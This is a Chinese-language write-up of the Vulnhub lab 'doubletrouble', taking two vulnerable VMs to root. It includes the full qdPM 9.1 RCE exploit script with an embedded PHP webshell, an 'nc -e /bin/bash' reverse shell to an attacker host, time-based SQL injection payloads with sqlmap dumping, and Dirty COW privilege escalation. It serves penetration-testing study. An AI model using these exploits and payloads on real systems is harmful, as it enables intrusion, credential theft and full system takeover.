当前位置: 首页 > news >正文

打靶记录13——doubletrouble

靶机:

https://www.vulnhub.com/entry/doubletrouble-1,743/

难度:

目标:

  • 取得两台靶机 root 权限

涉及攻击方法:

  • 主机发现
  • 端口扫描
  • Web信息收集
  • 开源CMS漏洞利用
  • 隐写术
  • 密码爆破
  • GTFObins提权
  • SQL盲注
  • 脏牛提权

学习记录(nc):

nc命令用来传文件,在很多时候传大文件的时候往往比用python来启用HTTP服务来传输的效果更好,而且nc几乎在所有的Linux系统中都默认存在,不但可以用来进行反弹shell操作,还可以用来传输文件

主机发现

arp-scan -l
image.png

端口扫描和服务发现

nmap -p- 192.168.0.103
image.png
nmap -p22,80 -sV -sC 192.168.0.103
image.png
image.png
image.png
qdPM是一个开源、免费,基于Web的项目管理工具,其实也就是一个cms系统“CMS(Content Management System,内容管理系统)是一种用于创建、管理和修改数字内容的软件应用程序。CMS系统广泛用于网站建设和内容管理,允许用户无需编写代码即可创建和管理网站内容。”

查看release notes,可能会告诉我们它在新版本当中修复了哪些漏洞,然后又增加了哪些新功能,这样就会帮助我们去找到攻击渗透的入口点。
image.png
发现有一个/install路径和/core/cache/qdPM/路径
image.png
image.png
/core/cache/qdPM/路径只能查看到文件名称,无法看到源码
image.png
这里有一个token234sAFE425SDFAf2ljlkasdhfiwugb2563h2g4jA,收集记录下来
searchsploit qdpm搜索漏洞库,发现9.1版本有RCE远程代码执行漏洞
image.png
把它们复制到当前目录里查看
image.png
发现是同一个CVE漏洞编码,只是使用的Python版本不一样,并且是需要登录之后Authenticated才能够利用成功的,网上搜索这个Web应用程序的默认的账号密码去登录也失败了
image.png
image.png
sudo dirsearch -u http://192.168.0.103/搜索目录,发现一个/secret/路径,有一张图片!
image.png
image.png
steghide info doubletrouble.jpg,查看图片发现能容下4.7K的隐写数据,但是需要密码。
image.png
stegseek --crack doubletrouble.jpg rockyou.txt一秒钟破解出密码92camaro
image.png
stegseek --crack doubletrouble.jpg rockyou.txt -xf file将隐写内容提取出来并命名为file,查看file文件获得账号密码otisrush@localhost.com``otis666
image.png
用这个账号密码成功登录Web应用的后台,那么我们就可以利用刚刚的两个python脚本来进行漏洞的利用了。
image.png
mousepad 50175.py编辑一下这个文件,里面的很多处的代码缩进有问题,需要手动修改一下
image.png
修改好之后的代码应该是这样的

# Exploit Title: qdPM 9.1 - Remote Code Execution (RCE) (Authenticated)
# Google Dork: intitle:qdPM 9.1. Copyright © 2020 qdpm.net
# Date: 2021-08-03
# Original Exploit Author: Rishal Dwivedi (Loginsoft)
# Original ExploitDB ID: 47954
# Exploit Author: Leon Trappett (thepcn3rd)
# Vendor Homepage: http://qdpm.net/
# Software Link: http://qdpm.net/download-qdpm-free-project-management
# Version: <=1.9.1
# Tested on: Ubuntu Server 20.04 (Python 3.9.2)
# CVE : CVE-2020-7246
# Exploit written in Python 3.9.2
# Tested Environment - Ubuntu Server 20.04 LTS
# Path Traversal + Remote Code Execution#!/usr/bin/python3import sys
import requests
from lxml import html
from argparse import ArgumentParsersession_requests = requests.session()def multifrm(userid, username, csrftoken_, EMAIL, HOSTNAME, uservar):request_1 = {'sf_method': (None, 'put'),'users[id]': (None, userid[-1]),'users[photo_preview]': (None, uservar),'users[_csrf_token]': (None, csrftoken_[-1]),'users[name]': (None, username[-1]),'users[new_password]': (None, ''),'users[email]': (None, EMAIL),'extra_fields[9]': (None, ''),'users[remove_photo]': (None, '1'),}return request_1def req(userid, username, csrftoken_, EMAIL, HOSTNAME):request_1 = multifrm(userid, username, csrftoken_, EMAIL, HOSTNAME, '.htaccess')new = session_requests.post(HOSTNAME + 'index.php/myAccount/update', files=request_1)request_2 = multifrm(userid, username, csrftoken_, EMAIL, HOSTNAME, '../.htaccess')new1 = session_requests.post(HOSTNAME + 'index.php/myAccount/update', files=request_2)request_3 = {'sf_method': (None, 'put'),'users[id]': (None, userid[-1]),'users[photo_preview]': (None, ''),'users[_csrf_token]': (None, csrftoken_[-1]),'users[name]': (None, username[-1]),'users[new_password]': (None, ''),'users[email]': (None, EMAIL),'extra_fields[9]': (None, ''),'users[photo]': ('backdoor.php','<?php if(isset($_REQUEST[\'cmd\'])){ echo "<pre>"; $cmd = ($_REQUEST[\'cmd\']); system($cmd); echo "</pre>"; die; }?>', 'application/octet-stream'),}upload_req = session_requests.post(HOSTNAME + 'index.php/myAccount/update', files=request_3)def main(HOSTNAME, EMAIL, PASSWORD):url = HOSTNAME + '/index.php/login'result = session_requests.get(url)#print(result.text)login_tree = html.fromstring(result.text)authenticity_token = list(set(login_tree.xpath("//input[@name='login[_csrf_token]']/@value")))[0]payload = {'login[email]': EMAIL, 'login[password]': PASSWORD, 'login[_csrf_token]': authenticity_token}result = session_requests.post(HOSTNAME + '/index.php/login', data=payload, headers=dict(referer=HOSTNAME + '/index.php/login'))# The designated admin account does not have a myAccount pageaccount_page = session_requests.get(HOSTNAME + 'index.php/myAccount')account_tree = html.fromstring(account_page.content)userid = account_tree.xpath("//input[@name='users[id]']/@value")username = account_tree.xpath("//input[@name='users[name]']/@value")csrftoken_ = account_tree.xpath("//input[@name='users[_csrf_token]']/@value")req(userid, username, csrftoken_, EMAIL, HOSTNAME)get_file = session_requests.get(HOSTNAME + 'index.php/myAccount')final_tree = html.fromstring(get_file.content)backdoor = final_tree.xpath("//input[@name='users[photo_preview]']/@value")print('Backdoor uploaded at - > ' + HOSTNAME + '/uploads/users/' + backdoor[-1] + '?cmd=whoami')if __name__ == '__main__':print("You are not able to use the designated admin account because they do not have a myAccount page.\n")parser = ArgumentParser(description='qdmp - Path traversal + RCE Exploit')parser.add_argument('-url', '--host', dest='hostname', help='Project URL')parser.add_argument('-u', '--email', dest='email', help='User email (Any privilege account)')parser.add_argument('-p', '--password', dest='password', help='User password')args = parser.parse_args()# Added detection if the arguments are passed and populated, if not display the argumentsif  (len(sys.argv) > 1 and isinstance(args.hostname, str) and isinstance(args.email, str) and isinstance(args.password, str)):main(args.hostname, args.email, args.password)else:parser.print_help()

python3 50175.py可以正常运行了,那么给它加上参数来使用
image.png
python3 50175.py -url http://192.168.0.103/ -u otisrush@localhost.com -p otis666成功创建了一个后门文件,上传了一个Webshell
image.png
image.png
成功的任意命令执行
image.png

反弹shell

?cmd=which nc发现存在nc命令
image.png
?cmd=nc -e /bin/bash 192.168.0.101 4444反弹shell
image.png
python3 -c "import pty;pty.spawn('/bin/bash')"升级一下shell
image.png

提权

sudo -l
image.png
https://gtfobins.github.io/gtfobins/awk/#sudo可以用Gtfobins来提权
image.png
sudo awk 'BEGIN {system("/bin/bash")}'幸福来得太突然,成功获取root权限!
image.png
/root目录发现第二个ova格式的文件,那需要把它下载下来再导入VirtualBox当中
image.png

学习记录(nc):

nc命令用来传文件,在很多时候传大文件的时候往往比用python来启用HTTP服务来传输的效果更好,而且nc几乎在所有的Linux系统中都默认存在,不但可以用来进行反弹shell操作,还可以用来传输文件

nc -lvnp 4444 > second.ova首先在kali启动侦听,准备接收文件

然后在靶机nc 192.168.0.101 4444 < doubletrouble.ova -w 1传输文件,-w 1参数的意思是当文件传输完毕之后隔一秒钟就断开连接

md5sum second.ova传输完成之后检查md5是否一致,一致就说明文件没有经过任何修改
image.png
image.png
那么接下来就把它导入到VirtualBox当中去
image.png

第二次主机发现

sudo arp-scan -l发现它的IP地址192.168.0.104
image.png

第二次端口扫描和服务发现

sudo nmap -p- 192.168.0.104
image.png
sudo nmap -p22,80 -sV -sC 192.168.0.104
image.png
首先对80端口发起攻击,发现页面挺简单的,一个登录框
image.png
万能密码无法绕过来进行登录,源码也没有有价值的信息
sudo dirsearch -u http://192.168.0.104/尝试进行目录扫描,发现有/cgi-bin/
image.png
然后sudo dirsearch -u http://192.168.0.104/cgi-bin/ -f -e cgi,sh对这个目录进行扫描,看看有没有破壳漏洞,但是一无所获
image.png
那还是把目光放到唯一的登录页面上去吧,启动BurpSuite在登录的时候抓包

SQL盲注(时间盲注)

输入payloaduname=' AND(SELECT x FROM (SELECT (SLEEP(10)))XZ)#
这段代码实际上是一个SQL注入(SQL Injection)的payload,用于测试或利用数据库查询的漏洞。具体来说,这是一个时间盲注(Time-based Blind SQL Injection)的示例。在这种注入类型中,攻击者通过使数据库服务器延迟响应来推断出有关数据库的信息。

代码解析

' AND(SELECT x FROM (SELECT (SLEEP(10)))XZ)#

让我们逐步分解这一段代码:

  1. **起始单引号 ****'**
    • 这一部分通常是用来结束原本的SQL语句的字符串部分的。例如,如果原SQL查询是:
SELECT * FROM users WHERE username = 'admin' AND password = 'password'

注入攻击会这样插入单引号,使其变成:

SELECT * FROM users WHERE username = 'admin' AND password = '' AND(SELECT x FROM (SELECT (SLEEP(10)))XZ)#
  1. AND
    • 这个逻辑运算符用来添加一个新的条件到原本的SQL查询中。
  2. (SELECT x FROM (SELECT (SLEEP(10)))XZ)
    • 这是一个子查询。让我们进一步分解:
      • (SELECT (SLEEP(10)))
        • 这部分是一个内嵌子查询。SLEEP(10)是一个数据库函数,通常用于让数据库服务器暂停执行10秒。这个函数在MySQL和一些其他数据库中都有类似的功能。
      • (SELECT x FROM … XZ)
        • 这个外层的SELECT语句尝试从内嵌子查询的结果中选择一个字段(x),并将结果命名为XZ
  3. #
    • 这是SQL中的注释符号,表示后面的内容都是注释,不会被执行。这可以帮助攻击者忽略掉后面的代码,防止引起语法错误。

最终结果

将这段注入代码插入到原来的查询中,例如:

SELECT * FROM users WHERE username = 'admin' AND password = '' AND(SELECT x FROM (SELECT (SLEEP(10)))XZ)#

这会导致数据库服务器执行如下操作:

  1. 查询用户表(users),查找用户名为’admin’且密码为空的记录。
  2. 同时,执行子查询 (SELECT x FROM (SELECT (SLEEP(10)))XZ)
  3. 由于 SLEEP(10) 函数的存在,数据库服务器会暂停执行10秒。
  4. 如果数据库服务器响应时间的延迟符合预期,攻击者可以推断出注入点是可行的。

应用情境

这种时间盲注技术通常用于:

  • 确认注入点:通过观察响应时间的延迟,攻击者可以确认注入点是否存在。
  • 提取数据:在更复杂的情况下,攻击者可以通过多次注入、观察响应时间,逐步提取出数据库中的敏感信息。

image.png
发现服务器确实10s之后才响应,说明SLEEP(10)函数被数据库给执行了,这样就可以基于这个时间去尝试问服务器,说你的当前数据库的名称的第一个字母是不是a,是不是b,是不是c…挨个字符来进行探测,经过大量的同步的探测,就可以在指定的时间范围之内,把目标系统所有的数据库的信息等等其他的库名,表名等内容全都给它榨取,提取出来。

把相同的payload放到psw里也是一样的延迟几秒才响应。
psw=' AND(SELECT x FROM (SELECT (SLEEP(5)))XZ)#
image.png
把前面的数据包保存为1.txt,让sqlmap去跑``
image.png
跑出来是mysql数据库了
image.png
接下来爆库sqlmap -r 1.txt -p uname --dbms mysql --dbs

  1. **-p uname**
    • 指定注入点参数。在这个例子中,uname 是要测试SQL注入漏洞的参数。例如,如果HTTP请求包含uname=adminsqlmap 将尝试在这个参数的位置进行SQL注入。
  2. **--dbms mysql**
    • 明确指定目标数据库管理系统为MySQL。这可以帮助sqlmap优化注入测试,因为不同的DBMS有不同的SQL语法和功能。
  3. **--dbs**
    • 命令sqlmap列出目标数据库管理系统中的所有数据库。这个选项用于在确认存在SQL注入漏洞后,枚举数据库。

发现两个数据库doubletroubleinformation_schema
image.png
接下来爆表sqlmap -r 1.txt -p uname --dbms mysql -D doubletrouble --tables
发现一个表users
image.png
接下来爆列名sqlmap -r 1.txt -p uname --dbms mysql -D doubletrouble -T users --columns
发现password``username这两列
image.png
那我们不管了直接dump下来
sqlmap -r 1.txt -p uname --dbms mysql -D doubletrouble -T users --dump
image.png
获得两对账号密码:

  • montreux``GfsZxc1
  • ZubZub99``clapton

用这些个账号密码登录Web页面失败,但是想起前面信息收集端口扫描的时候,发现22端口是开放的,管理员可能会对账号密码进行复用
ssh clapton@192.168.0.104登录,使用密码ZubZub99成功登录
image.png

提权(脏牛漏洞):

uname -a发现内核版本是3.2.0
image.png
利用ncexp传输过去
image.png
image.png
gcc -pthread exp.c -o exp -lcrypt在靶机生成一个exp可执行文件

命令解析

  1. **gcc**
    • GNU编译器集合(GNU Compiler Collection)。这是用于编译C和C++代码的编译器。
  2. **-pthread**
    • 这个选项告诉编译器使用POSIX线程库(pthread)。这是线程编程时常用的库,允许程序创建和控制多个线程。
  3. **exp.c**
    • 源代码文件名。这个文件包含了C语言编写的代码。
  4. **-o exp**
    • 指定输出文件名为 exp。编译后的可执行文件将被命名为 exp。如果没有这个选项,默认输出文件名为 a.out
  5. **-lcrypt**
    • 这个选项告诉编译器链接crypt库。crypt是一个用于加密的库,通常用于处理密码加密和解密。在一些系统中,它可能是libcrypt.solibcrypt.a

chmod +x exp赋予可执行权限
./exp pass设置密码为pass
根据脏牛漏洞的利用代码,一旦我们执行./exp pass,它就会使用一个叫firefart的账号来替换目标操作系统的root账号,并拥有root账号的uid``gid以及所有的权限,然后会自动备份一下当前操作系统的/etc/passwd文件到/tmp/passwd.bak,如下图所示。
image.png
ssh firefart@192.168.0.104登录目标系统
image.png
如果是一次护网比赛,或者是一次授权的渗透项目的话,推荐将/tmp目录下已经备份的passwd.bak这个文件给它重新覆盖回原来的/etc/passwd文件,这样做的目的是还原操作系统原来就拥有的其它那些账号以及原来的root账号本身。
cp /tmp/passwd.bak /etc/passwd拷贝回来之后
passwd重新设置root账号的密码为123456
image.png
退出出来之后下一次我就可以不再需要重复的去激活触发它的脏牛漏洞,而是直接使用root账号来进行登录
ssh root@192.168.0.104
image.png
查看/root目录下的文件,logdel2看起来是一个日志清理的脚本,我们不关心它。
image.png
查看root.txt这个flag文件,打靶完毕!
image.png

完毕!

相关文章:

打靶记录13——doubletrouble

靶机&#xff1a; https://www.vulnhub.com/entry/doubletrouble-1,743/ 难度&#xff1a; 中 目标&#xff1a; 取得两台靶机 root 权限 涉及攻击方法&#xff1a; 主机发现端口扫描Web信息收集开源CMS漏洞利用隐写术密码爆破GTFObins提权SQL盲注脏牛提权 学习记录&am…...

awk文本处理工具

awk 是一个强大的文本处理工具&#xff0c;在Shell编程中常用于处理和分析文本数据。它可以按列处理数据&#xff0c;进行模式匹配&#xff0c;生成报告&#xff0c;执行计算等。以下是一些 awk 的主要功能和使用场景&#xff1a; 期待您的关注 美好的观念较美人尤为可爱 目录 …...

计算机毕业设计选题推荐-学院网站系统-Java/Python项目实战

✨作者主页&#xff1a;IT毕设梦工厂✨ 个人简介&#xff1a;曾从事计算机专业培训教学&#xff0c;擅长Java、Python、微信小程序、Golang、安卓Android等项目实战。接项目定制开发、代码讲解、答辩教学、文档编写、降重等。 ☑文末获取源码☑ 精彩专栏推荐⬇⬇⬇ Java项目 Py…...

Spring模块详解Ⅰ

目录 SpringSpring框架的主要功能模块1. Core Container&#xff08;核心容器&#xff09;2. Data Access/Integration&#xff08;数据访问与集成&#xff09;3. Web4. AOP (Aspect-Oriented Programming&#xff0c;面向切面编程)5. Instrumentation&#xff08;工具集&#…...

C语言程序设计-练习篇

山海自有归期&#xff0c;风雨自有相逢。 一 下面代码的结果是什么&#xff1f; int main() { int i 0; for (i 0; i < 10; i) { if (i 5) //此处为赋值&#xff0c;i 5表达式结果为5 printf("%d ", i); //表达式为真&a…...

【Oracle篇】统计信息和动态采样的深度剖析(第一篇,总共六篇)

&#x1f4ab;《博主介绍》&#xff1a;✨又是一天没白过&#xff0c;我是奈斯&#xff0c;DBA一名✨ &#x1f4ab;《擅长领域》&#xff1a;✌️擅长Oracle、MySQL、SQLserver、阿里云AnalyticDB for MySQL(分布式数据仓库)、Linux&#xff0c;也在扩展大数据方向的知识面✌️…...

无源互调自动化测试软件应用案例分享:S参数和互调的高效测试

随着产品种类的丰富和市场需求的变化&#xff0c;合肥某电子技术公司意识到&#xff0c;传统的手工测试已无法满足公司持续发展的需要。于是&#xff0c;一场自动化测试转型悄然展开。 一、背景介绍 合肥某电子技术公司成立于2009年&#xff0c;专注于功分器、耦合器、负载器、…...

【6大设计原则】精通设计模式之里氏代换原则:从理论到实践,掌握代码演化的黄金法则

一、引言 1.1 设计模式的必要性 在软件开发的复杂性面前&#xff0c;设计模式提供了一套成熟的解决方案&#xff0c;它们是经过多年实践总结出来的&#xff0c;能够帮助我们应对各种编程难题。设计模式不仅仅是一种编程技巧&#xff0c;更是一种编程哲学&#xff0c;它能够提…...

国内服务器安装Docker提示Failed to connect to download.docker.com port 443的解决方案

解决方案 换国内镜像源。我用的是清华的。https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/ 自己找自己对应的版本。 例如你的Ubuntu系统。就用下列命令 sudo curl -fsSL https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/ubuntu/gpg -o /etc/apt/keyrings/do…...

前端开发攻略---彻底弄懂跨域解决方案

目录 1、浏览器的同源策略 1.1 源 1.2 同源与非同源 1.3 同源请求与非同源请求 2、跨域受到的限制 3、注意点 4、CORS解决Ajax跨域问题 4.1 CORS概述 4.2 CORS解决简单请求跨域 4.3 简单请求与复杂请求 4.4 CORS解决复杂请求跨域 4.5 借助CORS库快速完成配置 5、JS…...

【HeadFirst 设计模式】装饰者模式的C++实现

一、案例背景 Starbuzz是以扩张速度最快而闻名的咖啡连锁店。如果你在街角看到它的店&#xff0c;在对面街上肯定还会看到另一家。因为扩张速度实在太快了&#xff0c;他们准备更新订单系统&#xff0c;以合乎他们的饮料供应要求。他们原先的类设计是这样的…… 购买咖啡时&am…...

大白话解释TCP的三次握手和四次挥手

你好&#xff0c;我是沐爸&#xff0c;欢迎点赞、收藏和关注。个人知乎 TCP的三次握手是浏览器与服务器建立连接的过程&#xff0c;而四次挥手&#xff0c;是两者断开连接的过程。今天把客户端和服务端当做两个人&#xff0c;通过打电话的方式解释连接建立和断开的过程。 TCP…...

asyncua模块实现OPC UA通讯

asyncua是OPCUA的python实现&#xff0c;使用起来非常方便&#xff0c;其github地址是https://github.com/FreeOpcUa/opcua-asyncio UaExpert是OPC UA Client的GUI工具&#xff0c;当编写好server代码后并运行&#xff0c;我们可以使用UaExpert去和server进行通信。UaExpert使…...

RabbitMQ的核心概念

RabbitMQ是一个消息中间件&#xff0c;也是一个生产者消费者模型&#xff0c;负责接收&#xff0c;存储和转发消息。 核心概念 Producer 生产者&#xff0c;是RabbitMQ Server的客户端&#xff0c;向RabbitMQ发送消息。 Consumer 消费者&#xff0c;是RabbitMQ Server的客…...

【vSphere 7/8】深入浅出 vSphere 证书 Ⅰ—— 初识和了解 vSphere证书

目录 摘要1. vSphere 安全证书1.1 vSphere 安全证书的类型和有效期 2. 在 vSphere Client 中初识 vSphere 证书2.1 vCenter 8.0.3 的 vSphere Client 界面2.2 vCenter Server 7.0 Update2 到 vCenter Server 8.0 Update 2 的 vSphere Client 界面2.3 vCenter Server 7.0 到 vCe…...

【云备份】服务端模块-热点管理

文章目录 0.回顾extern1.介绍2.实现思想3.代码测试代码 热点管理总结 0.回顾extern extern cloudBackup::DataManager *_dataManager extern 关键字用于声明一个全局变量或对象&#xff0c;而不定义它。这意味着 _dataManager 是一个指向 cloudBackup::DataManager 类型的指针…...

call apply bind特性及手动实现

call // 原生的call var foo { value: 1 };function bar(...args) {console.log("this", this.value, args); }bar.call(foo)// call 改变了bar的this指向 // bar函数执行了 // 等价于 // var foo { // name: "tengzhu", // sex: "man", …...

pygame开发课程系列(5): 游戏逻辑

第五章 游戏逻辑 在本章中&#xff0c;我们将探讨游戏开发中的核心逻辑&#xff0c;包括碰撞检测、分数系统和游戏状态管理。这些元素不仅是游戏功能的关键&#xff0c;还能显著提升游戏的趣味性和挑战性。 5.1 碰撞检测 碰撞检测是游戏开发中的一个重要方面&#xff0c;它用…...

嵌入式系统实时任务调度算法优化与实现

嵌入式系统实时任务调度算法优化与实现 目录 嵌入式系统实时任务调度算法优化与实现 引言 1.1 嵌入式系统的重要性 1.2 实时任务调度的重要性 实时任务的定义与分类 2.1 实时任务的定义 2.2 实时任务的分类 2.3 实时任务的其他分类方法 硬实时与软实时系统 3.1 硬实…...

Java:枚举转换

在Java中&#xff0c;你可以使用Enum.valueOf()方法将字符串转换为枚举常量。但是&#xff0c;如果你想要将枚举转换为其他类型&#xff0c;你需要自定义转换方法。以下是一个简单的例子&#xff0c;演示如何将枚举转换为整数&#xff1a; public enum Color {RED(1), GREEN(2…...

接口测试中缓存处理策略

在接口测试中&#xff0c;缓存处理策略是一个关键环节&#xff0c;直接影响测试结果的准确性和可靠性。合理的缓存处理策略能够确保测试环境的一致性&#xff0c;避免因缓存数据导致的测试偏差。以下是接口测试中常见的缓存处理策略及其详细说明&#xff1a; 一、缓存处理的核…...

Spark 之 入门讲解详细版(1)

1、简介 1.1 Spark简介 Spark是加州大学伯克利分校AMP实验室&#xff08;Algorithms, Machines, and People Lab&#xff09;开发通用内存并行计算框架。Spark在2013年6月进入Apache成为孵化项目&#xff0c;8个月后成为Apache顶级项目&#xff0c;速度之快足见过人之处&…...

SciencePlots——绘制论文中的图片

文章目录 安装一、风格二、1 资源 安装 # 安装最新版 pip install githttps://github.com/garrettj403/SciencePlots.git# 安装稳定版 pip install SciencePlots一、风格 简单好用的深度学习论文绘图专用工具包–Science Plot 二、 1 资源 论文绘图神器来了&#xff1a;一行…...

《从零掌握MIPI CSI-2: 协议精解与FPGA摄像头开发实战》-- CSI-2 协议详细解析 (一)

CSI-2 协议详细解析 (一&#xff09; 1. CSI-2层定义&#xff08;CSI-2 Layer Definitions&#xff09; 分层结构 &#xff1a;CSI-2协议分为6层&#xff1a; 物理层&#xff08;PHY Layer&#xff09; &#xff1a; 定义电气特性、时钟机制和传输介质&#xff08;导线&#…...

为什么需要建设工程项目管理?工程项目管理有哪些亮点功能?

在建筑行业&#xff0c;项目管理的重要性不言而喻。随着工程规模的扩大、技术复杂度的提升&#xff0c;传统的管理模式已经难以满足现代工程的需求。过去&#xff0c;许多企业依赖手工记录、口头沟通和分散的信息管理&#xff0c;导致效率低下、成本失控、风险频发。例如&#…...

VTK如何让部分单位不可见

最近遇到一个需求&#xff0c;需要让一个vtkDataSet中的部分单元不可见&#xff0c;查阅了一些资料大概有以下几种方式 1.通过颜色映射表来进行&#xff0c;是最正规的做法 vtkNew<vtkLookupTable> lut; //值为0不显示&#xff0c;主要是最后一个参数&#xff0c;透明度…...

.Net Framework 4/C# 关键字(非常用,持续更新...)

一、is 关键字 is 关键字用于检查对象是否于给定类型兼容,如果兼容将返回 true,如果不兼容则返回 false,在进行类型转换前,可以先使用 is 关键字判断对象是否与指定类型兼容,如果兼容才进行转换,这样的转换是安全的。 例如有:首先创建一个字符串对象,然后将字符串对象隐…...

dify打造数据可视化图表

一、概述 在日常工作和学习中&#xff0c;我们经常需要和数据打交道。无论是分析报告、项目展示&#xff0c;还是简单的数据洞察&#xff0c;一个清晰直观的图表&#xff0c;往往能胜过千言万语。 一款能让数据可视化变得超级简单的 MCP Server&#xff0c;由蚂蚁集团 AntV 团队…...

大语言模型(LLM)中的KV缓存压缩与动态稀疏注意力机制设计

随着大语言模型&#xff08;LLM&#xff09;参数规模的增长&#xff0c;推理阶段的内存占用和计算复杂度成为核心挑战。传统注意力机制的计算复杂度随序列长度呈二次方增长&#xff0c;而KV缓存的内存消耗可能高达数十GB&#xff08;例如Llama2-7B处理100K token时需50GB内存&a…...

2023赣州旅游投资集团

单选题 1.“不登高山&#xff0c;不知天之高也&#xff1b;不临深溪&#xff0c;不知地之厚也。”这句话说明_____。 A、人的意识具有创造性 B、人的认识是独立于实践之外的 C、实践在认识过程中具有决定作用 D、人的一切知识都是从直接经验中获得的 参考答案: C 本题解…...